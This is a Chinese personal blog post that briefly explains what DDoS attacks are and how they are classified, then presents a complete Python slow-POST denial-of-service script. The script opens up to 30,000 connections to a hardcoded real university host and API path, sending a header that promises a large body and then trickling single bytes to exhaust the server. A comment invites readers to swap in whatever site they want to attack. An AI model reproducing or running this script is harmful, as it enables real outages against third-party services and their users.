跳到正文

个人记录

DDoS脚本记录

RealDream约 4 分钟
原文
文章信息与版本

文章信息

收录
2025年12月12日
更新
2026年5月2日
篇幅
约 4 分钟

版本

  1. v1当前

一、什么是DDoS攻击

DDoS攻击就是分布式的拒绝服务攻击,DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,随着计算机与网络技术的发展,DoS攻击的困难程度加大了。于是就产生了DDoS攻击,它的原理就很简单:计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用,那么DDoS就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。

二、DDoS分类

作为目前最强大、最难防御的攻击之一,DDos攻击主要分为两种。

  1. 以力取胜:海量的数据包从互联网各个角落蜂拥而来,堵塞IDC入口,典型的为ICMP Flood和UDP Flood(消耗带宽)。
  2. 以巧取胜:主要是利用协议或者软件的漏洞发起,如Slowloris攻击,hash冲突。(协议攻击)
  3. 混合:上述两种混合,即利用协议、系统的缺陷,又具备海量的资源,如SYN Flood攻击,DNS Query Flood攻击。

三、编写DDoS攻击脚本

编写DDoS攻击脚本,原理是使用socket连接到目标网站,并发送大量http请求,从而耗尽受攻击网站资源:

Python
#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=30000
#改写下面的网址为你想攻击的网站!!!!!!!!!
PORT=80
HOST="www.sspu.edu.cn"
PAGE="/recitewords/api"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]

def conn_thread():
    global socks
    while len(socks)<MAX_CONN:
        s=socket.socket (socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode('utf-8'))
            #print ("[+] Send buf OK!,conn=%d\n"%len(socks))
            socks.append(s)
        except Exception as ex:
           print ("[-] Could not connect to server or send error:%s"%ex)
           time.sleep(2)
#end def



def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode('utf-8'))
                #print ("[+] send OK! %s"%s)
            except Exception as ex:
                print ("[-] send Exception:%s\n"%ex)
                socks.remove(s)
                s.close()
                time.sleep(1)
#end def

conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()

while(True):
    print("存活连接数:%d       "%len(socks))
    time.sleep(1)
原文